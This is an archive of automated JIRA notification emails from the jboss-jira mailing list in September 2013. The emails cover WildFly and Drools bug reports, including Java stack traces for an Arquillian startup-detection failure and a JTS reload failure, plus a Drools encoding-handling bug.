> 	at org.xnio.nio.NioXnioProvider.<clinit>(NioXnioProvider.java:30)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
> 	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
> 	at java.lang.reflect.Constructor.newInstance(Constructor.java:526)
> 	at java.lang.Class.newInstance(Class.java:374)
> 	at java.util.ServiceLoader$LazyIterator.next(ServiceLoader.java:373)
> 	at java.util.ServiceLoader$1.next(ServiceLoader.java:445)
> 	at org.xnio.Xnio.doGetInstance(Xnio.java:197)
> 	at org.xnio.Xnio.getInstance(Xnio.java:156)
> 	at org.jboss.remoting3.Remoting.createEndpoint(Remoting.java:73)
> 	at org.jboss.as.controller.client.impl.RemotingModelControllerClient.getOrCreateChannel(RemotingModelControllerClient.java:124)
> 	at org.jboss.as.controller.client.impl.RemotingModelControllerClient$1.getChannel(RemotingModelControllerClient.java:67)
> 	at org.jboss.as.protocol.mgmt.ManagementChannelHandler.executeRequest(ManagementChannelHandler.java:115)
> 	at org.jboss.as.protocol.mgmt.ManagementChannelHandler.executeRequest(ManagementChannelHandler.java:90)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeRequest(AbstractModelControllerClient.java:236)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:141)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
> 	at org.jboss.as.arquillian.container.ManagementClient.isServerInRunningState(ManagementClient.java:186)
> 	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:184)
> 	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:112)
> 	at org.jboss.arquillian.container.impl.ContainerImpl.start(ContainerImpl.java:199)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 02:26:45 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Tue, 24 Sep 2013 02:26:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2140) ARQ managed container cannot
 detect server startup
In-Reply-To: <JIRA.12501346.1380003942999@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501346.1380003942999@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501346.1380003942999.934.1380004005345@jira02.app.mwc.hst.phx2.redhat.com>

Thomas Diesler created WFLY-2140:
------------------------------------

             Summary: ARQ managed container cannot detect server startup
                 Key: WFLY-2140
                 URL: https://issues.jboss.org/browse/WFLY-2140
             Project: WildFly
          Issue Type: Bug
            Reporter: Thomas Diesler


The test client sees the container starting successfully - from the log

The following exception is however ignored in ManagementClient.isServerInRunningState()

{code}
java.util.ServiceConfigurationError: org.xnio.XnioProvider: Provider org.xnio.nio.NioXnioProvider could not be instantiated: java.lang.NoClassDefFoundError: org/xnio/FileSystemWatcher
	at java.net.URLClassLoader$1.run(URLClassLoader.java:366)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
	at org.xnio.nio.NioXnioProvider.<clinit>(NioXnioProvider.java:30)
	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.lang.reflect.Constructor.newInstance(Constructor.java:526)
	at java.lang.Class.newInstance(Class.java:374)
	at java.util.ServiceLoader$LazyIterator.next(ServiceLoader.java:373)
	at java.util.ServiceLoader$1.next(ServiceLoader.java:445)
	at org.xnio.Xnio.doGetInstance(Xnio.java:197)
	at org.xnio.Xnio.getInstance(Xnio.java:156)
	at org.jboss.remoting3.Remoting.createEndpoint(Remoting.java:73)
	at org.jboss.as.controller.client.impl.RemotingModelControllerClient.getOrCreateChannel(RemotingModelControllerClient.java:124)
	at org.jboss.as.controller.client.impl.RemotingModelControllerClient$1.getChannel(RemotingModelControllerClient.java:67)
	at org.jboss.as.protocol.mgmt.ManagementChannelHandler.executeRequest(ManagementChannelHandler.java:115)
	at org.jboss.as.protocol.mgmt.ManagementChannelHandler.executeRequest(ManagementChannelHandler.java:90)
	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeRequest(AbstractModelControllerClient.java:236)
	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:141)
	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
	at org.jboss.as.arquillian.container.ManagementClient.isServerInRunningState(ManagementClient.java:186)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:184)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:112)
	at org.jboss.arquillian.container.impl.ContainerImpl.start(ContainerImpl.java:199)
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 02:28:45 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Tue, 24 Sep 2013 02:28:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2140) ARQ managed container cannot
 detect server startup
In-Reply-To: <JIRA.12501346.1380003942000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501346.1380003942000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501346.1380003942000.942.1380004125199@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2140?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Diesler updated WFLY-2140:
---------------------------------

    Fix Version/s: 8.0.0.Beta1
      Component/s: Domain Management

    
> ARQ managed container cannot detect server startup
> --------------------------------------------------
>
>                 Key: WFLY-2140
>                 URL: https://issues.jboss.org/browse/WFLY-2140
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Thomas Diesler
>            Assignee: Thomas Diesler
>             Fix For: 8.0.0.Beta1
>
>
> The test client sees the container starting successfully - from the log
> The following exception is however ignored in ManagementClient.isServerInRunningState()
> {code}
> java.util.ServiceConfigurationError: org.xnio.XnioProvider: Provider org.xnio.nio.NioXnioProvider could not be instantiated: java.lang.NoClassDefFoundError: org/xnio/FileSystemWatcher
> 	at java.net.URLClassLoader$1.run(URLClassLoader.java:366)
> 	at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
> 	at java.security.AccessController.doPrivileged(Native Method)
> 	at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
> 	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
> 	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
> 	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
> 	at org.xnio.nio.NioXnioProvider.<clinit>(NioXnioProvider.java:30)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
> 	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
> 	at java.lang.reflect.Constructor.newInstance(Constructor.java:526)
> 	at java.lang.Class.newInstance(Class.java:374)
> 	at java.util.ServiceLoader$LazyIterator.next(ServiceLoader.java:373)
> 	at java.util.ServiceLoader$1.next(ServiceLoader.java:445)
> 	at org.xnio.Xnio.doGetInstance(Xnio.java:197)
> 	at org.xnio.Xnio.getInstance(Xnio.java:156)
> 	at org.jboss.remoting3.Remoting.createEndpoint(Remoting.java:73)
> 	at org.jboss.as.controller.client.impl.RemotingModelControllerClient.getOrCreateChannel(RemotingModelControllerClient.java:124)
> 	at org.jboss.as.controller.client.impl.RemotingModelControllerClient$1.getChannel(RemotingModelControllerClient.java:67)
> 	at org.jboss.as.protocol.mgmt.ManagementChannelHandler.executeRequest(ManagementChannelHandler.java:115)
> 	at org.jboss.as.protocol.mgmt.ManagementChannelHandler.executeRequest(ManagementChannelHandler.java:90)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeRequest(AbstractModelControllerClient.java:236)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:141)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
> 	at org.jboss.as.arquillian.container.ManagementClient.isServerInRunningState(ManagementClient.java:186)
> 	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:184)
> 	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:112)
> 	at org.jboss.arquillian.container.impl.ContainerImpl.start(ContainerImpl.java:199)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 03:33:45 2013
From: jira-events at lists.jboss.org (Jacek Walkowiak (JIRA))
Date: Tue, 24 Sep 2013 03:33:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-271) Overriden encoding taken
 from InputStreamReader in ReaderResource constructor
In-Reply-To: <JIRA.12501350.1380007922328@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501350.1380007922328@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501350.1380007922328.1032.1380008025228@jira02.app.mwc.hst.phx2.redhat.com>

Jacek Walkowiak created DROOLS-271:
--------------------------------------

             Summary: Overriden encoding taken from InputStreamReader in ReaderResource constructor
                 Key: DROOLS-271
                 URL: https://issues.jboss.org/browse/DROOLS-271
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3
         Environment: All platforms.
            Reporter: Jacek Walkowiak
            Assignee: Mark Proctor
            Priority: Minor


If encoding of resource is passes as null and reader is InputStreamReader encoding taken from reader is overriden to null.
"this.encoding = encoding;" should be in else block in my opinion.

public ReaderResource(Reader reader, String encoding, ResourceType type ) {
        if ( reader == null ) {
            throw new IllegalArgumentException( "reader cannot be null" );
        }
        if ( encoding == null && reader instanceof InputStreamReader ) {
            this.encoding = ((InputStreamReader)reader).getEncoding();  <== encoding assigned here
        }
        this.reader = reader;

        this.encoding = encoding; <== encoding assigned to null
        
        setResourceType( type );
        
        this.timestamp = System.currentTimeMillis();
        this.lastRead = this.timestamp;
    } 



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 03:45:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 03:45:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1569) Not possible to reload server
 when JTS transactions are activated
In-Reply-To: <JIRA.12494844.1371818256000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494844.1371818256000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494844.1371818256000.1042.1380008745409@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1569?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1569:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1011379

    
> Not possible to reload server when JTS transactions are activated
> -----------------------------------------------------------------
>
>                 Key: WFLY-1569
>                 URL: https://issues.jboss.org/browse/WFLY-1569
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ond?ej Chaloupka
>            Assignee: Stefano Maestri
>
> When transactions are set for JTS being used
>  - <jts/> tag under transactions subsystem
>  - transactions="on" under jacorb subsystem
> then it is not possible to reload the server.
> The reload causes the following exception being shown.
> {code}
> 14:30:56,388 WARN  [com.arjuna.ats.jts] (MSC service thread 1-5) ARJUNA022083: JacOrbRCServiceInit - Failed to start RC service: org.omg.CORBA.OBJECT_NOT_EXIST: POA destroyed
>  at org.jacorb.poa.POA.checkDestructionApparent(POA.java:1409)                           
>  at org.jacorb.poa.POA.set_servant(POA.java:1979)                          
>  at com.arjuna.ats.internal.jts.orbspecific.jacorb.recoverycoordinators.JacOrbRCServiceInit.startRCservice(JacOrbRCServiceInit.java:197) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]        
>  at com.arjuna.ats.internal.jts.orbspecific.recovery.RecoveryEnablement.startRCservice(RecoveryEnablement.java:137) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]        
>  at com.arjuna.ats.internal.arjuna.recovery.RecActivatorLoader.startRecoveryActivators(RecActivatorLoader.java:66) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]         
>  at com.arjuna.ats.internal.arjuna.recovery.RecoveryManagerImple.<init>(RecoveryManagerImple.java:104) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]              
>  at com.arjuna.ats.arjuna.recovery.RecoveryManager.initialize(RecoveryManager.java:224) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]               
>  at com.arjuna.ats.jbossatx.jta.RecoveryManagerService.start(RecoveryManagerService.java:65) [narayana-jts-integration-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]            
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:139) [wildfly-transactions-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]              
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1942) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1875) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                  
>  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]                       
>  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]                       
>  at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]                       
> 14:30:56,396 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-5) MSC000001: Failed to start service jboss.txn.ArjunaRecoveryManager: org.jboss.msc.service.StartException in service jboss.txn.ArjunaRecoveryManager: JBAS010101: Recovery manager create failed                                 
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:142)                      
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1942) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1875) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                  
>  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]                       
>  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]                       
>  at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]                       
> Caused by: java.lang.RuntimeException: ARJUNA012364: RecoveryActivator init failed for com.arjuna.ats.internal.jts.orbspecific.recovery.RecoveryEnablement            
>  at com.arjuna.ats.internal.arjuna.recovery.RecActivatorLoader.startRecoveryActivators(RecActivatorLoader.java:67)                 
>  at com.arjuna.ats.internal.arjuna.recovery.RecoveryManagerImple.<init>(RecoveryManagerImple.java:104)                      
>  at com.arjuna.ats.arjuna.recovery.RecoveryManager.initialize(RecoveryManager.java:224)                       
>  at com.arjuna.ats.jbossatx.jta.RecoveryManagerService.start(RecoveryManagerService.java:65)                  
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:139)                      
>  ... 5 more 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 24 03:45:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 03:45:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1569) Not possible to reload server
 when JTS transactions are activated
In-Reply-To: <JIRA.12494844.1371818256000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494844.1371818256000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494844.1371818256000.1046.1380008745958@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1569?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806798#comment-12806798 ] 

RH Bugzilla Integration commented on WFLY-1569:
-----------------------------------------------

Ondrej Chaloupka <ochaloup at redhat.com> made a comment on [bug 1011379|https://bugzilla.redhat.com/show_bug.cgi?id=1011379]

:reload operation fails when transactions are set to run with jts

How to reproduce:
 - active jts transactions
 -- add <jts/> tag under transactions subsystem
 -- set attribute transactions to on for jacorb subsystem
 - run server
 - run :reload with jboss-cli.sh

You'll get exception like this:
WARN  [com.arjuna.ats.jts] (MSC service thread 1-5) ARJUNA022083: JacOrbRCServiceInit - Failed to start RC service: org.omg.CORBA.OBJECT_NOT_EXIST: POA destroyed
 at org.jacorb.poa.POA.checkDestructionApparent(POA.java:1409)
 at org.jacorb.poa.POA.set_servant(POA.java:1979)
 at com.arjuna.ats.internal.jts.orbspecific.jacorb.recoverycoordinators.JacOrbRCServiceInit.startRCservice(JacOrbRCServiceInit.java:197) [jbossjts-jacorb-4.17.9.Final-redhat-1.jar:4.17.9.Final-redhat-1]
 at com.arjuna.ats.internal.jts.orbspecific.recovery.RecoveryEnablement.startRCservice(RecoveryEnablement.java:137) [jbossjts-jacorb-4.17.9.Final-redhat-1.jar:4.17.9.Final-redhat-1]
 at com.arjuna.ats.internal.arjuna.recovery.RecActivatorLoader.startRecoveryActivators(RecActivatorLoader.java:66) [jbossjts-jacorb-4.17.9.Final-redhat-1.jar:4.17.9.Final-redhat-1]
 at com.arjuna.ats.internal.arjuna.recovery.RecoveryManagerImple.<init>(RecoveryManagerImple.java:104) [jbossjts-jacorb-4.17.9.Final-redhat-1.jar:4.17.9.Final-redhat-1]
 at com.arjuna.ats.arjuna.recovery.RecoveryManager.initialize(RecoveryManager.java:224) [jbossjts-jacorb-4.17.9.Final-redhat-1.jar:4.17.9.Final-redhat-1]
 at com.arjuna.ats.jbossatx.jta.RecoveryManagerService.start(RecoveryManagerService.java:65) [jbossjts-integration-4.17.9.Final-redhat-1.jar:4.17.9.Final-redhat-1]
 at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:139) [jboss-as-transactions-7.3.0.Final-redhat-1.jar:7.3.0.Final-redhat-1]
 at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
 at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
 at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
 at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
 at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]

ERROR [org.jboss.msc.service.fail] (MSC service thread 1-5) MSC000001: Failed to start service jboss.txn.ArjunaRecoveryManager: org.jboss.msc.service.StartException in service jboss.txn.ArjunaRecoveryManager: JBAS010101: Recovery manager create failed
 at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:142)
 at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
 at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
 at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
 at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
 at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: java.lang.RuntimeException: ARJUNA012364: RecoveryActivator init failed for com.arjuna.ats.internal.jts.orbspecific.recovery.RecoveryEnablement
 at com.arjuna.ats.internal.arjuna.recovery.RecActivatorLoader.startRecoveryActivators(RecActivatorLoader.java:67)
 at com.arjuna.ats.internal.arjuna.recovery.RecoveryManagerImple.<init>(RecoveryManagerImple.java:104)
 at com.arjuna.ats.arjuna.recovery.RecoveryManager.initialize(RecoveryManager.java:224)
 at com.arjuna.ats.jbossatx.jta.RecoveryManagerService.start(RecoveryManagerService.java:65)
 at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:139)
 ... 5 more
                
> Not possible to reload server when JTS transactions are activated
> -----------------------------------------------------------------
>
>                 Key: WFLY-1569
>                 URL: https://issues.jboss.org/browse/WFLY-1569
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ond?ej Chaloupka
>            Assignee: Stefano Maestri
>
> When transactions are set for JTS being used
>  - <jts/> tag under transactions subsystem
>  - transactions="on" under jacorb subsystem
> then it is not possible to reload the server.
> The reload causes the following exception being shown.
> {code}
> 14:30:56,388 WARN  [com.arjuna.ats.jts] (MSC service thread 1-5) ARJUNA022083: JacOrbRCServiceInit - Failed to start RC service: org.omg.CORBA.OBJECT_NOT_EXIST: POA destroyed
>  at org.jacorb.poa.POA.checkDestructionApparent(POA.java:1409)                           
>  at org.jacorb.poa.POA.set_servant(POA.java:1979)                          
>  at com.arjuna.ats.internal.jts.orbspecific.jacorb.recoverycoordinators.JacOrbRCServiceInit.startRCservice(JacOrbRCServiceInit.java:197) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]        
>  at com.arjuna.ats.internal.jts.orbspecific.recovery.RecoveryEnablement.startRCservice(RecoveryEnablement.java:137) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]        
>  at com.arjuna.ats.internal.arjuna.recovery.RecActivatorLoader.startRecoveryActivators(RecActivatorLoader.java:66) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]         
>  at com.arjuna.ats.internal.arjuna.recovery.RecoveryManagerImple.<init>(RecoveryManagerImple.java:104) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]              
>  at com.arjuna.ats.arjuna.recovery.RecoveryManager.initialize(RecoveryManager.java:224) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]               
>  at com.arjuna.ats.jbossatx.jta.RecoveryManagerService.start(RecoveryManagerService.java:65) [narayana-jts-integration-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]            
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:139) [wildfly-transactions-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]              
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1942) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1875) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                  
>  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]                       
>  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]                       
>  at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]                       
> 14:30:56,396 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-5) MSC000001: Failed to start service jboss.txn.ArjunaRecoveryManager: org.jboss.msc.service.StartException in service jboss.txn.ArjunaRecoveryManager: JBAS010101: Recovery manager create failed                                 
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:142)                      
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1942) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                
>  at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1875) [jboss-msc-1.2.0.Beta1.jar:1.2.0.Beta1]                  
>  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]                       
>  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]                       
>  at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]                       
> Caused by: java.lang.RuntimeException: ARJUNA012364: RecoveryActivator init failed for com.arjuna.ats.internal.jts.orbspecific.recovery.RecoveryEnablement            
>  at com.arjuna.ats.internal.arjuna.recovery.RecActivatorLoader.startRecoveryActivators(RecActivatorLoader.java:67)                 
>  at com.arjuna.ats.internal.arjuna.recovery.RecoveryManagerImple.<init>(RecoveryManagerImple.java:104)                      
>  at com.arjuna.ats.arjuna.recovery.RecoveryManager.initialize(RecoveryManager.java:224)                       
>  at com.arjuna.ats.jbossatx.jta.RecoveryManagerService.start(RecoveryManagerService.java:65)                  
>  at org.jboss.as.txn.service.ArjunaRecoveryManagerService.start(ArjunaRecoveryManagerService.java:139)                      
>  ... 5 more 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 24 03:48:46 2013
From: jira-events at lists.jboss.org (Carlo de Wolf (JIRA))
Date: Tue, 24 Sep 2013 03:48:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1859) Make TeamCity run the mixed
	domain tests
In-Reply-To: <JIRA.12498341.1376068031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498341.1376068031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498341.1376068031000.1050.1380008926001@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1859?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Carlo de Wolf updated WFLY-1859:
--------------------------------

    Priority: Critical  (was: Major)

    
> Make TeamCity run the mixed domain tests
> ----------------------------------------
>
>                 Key: WFLY-1859
>                 URL: https://issues.jboss.org/browse/WFLY-1859
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Test Suite
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Kabir Khan
>            Assignee: Tomaz Cerar
>            Priority: Critical
>
> [09/08/2013 18:02:06] Kabir Khan: BTW, Tomaz you've not set up the jobs to run the mixed-domain tests
> [09/08/2013 18:02:46] Tomaz Cerar: noap
> [09/08/2013 18:02:55] Tomaz Cerar: and we probably want that
> [09/08/2013 18:03:46] Kabir Khan: So you need a directory containing jboss-as-7.1.2.Final.zip  jboss-as-7.1.3.Final.zip
> [09/08/2013 18:04:01] Tomaz Cerar: now i rembemer
> [09/08/2013 18:04:22] Tomaz Cerar: i will set it up, probably not right now, but soon
> [09/08/2013 18:04:26] Kabir Khan: Each zip has the following file structure
> [09/08/2013 18:04:27] Kabir Khan: $unzip old-as7-releases/jboss-as-7.1.3.Final.zip | more
> Archive:  old-as7-releases/jboss-as-7.1.3.Final.zip
>    creating: jboss-as-7.1.3.Final/
>    creating: jboss-as-7.1.3.Final/appclient/
>    creating: jboss-as-7.1.3.Final/appclient/configuration/
> [09/08/2013 18:04:31] Kabir Khan: ...
> [09/08/2013 18:05:02] Kabir Khan: Then you need to set -Djboss.test.mixed.domain.dir=
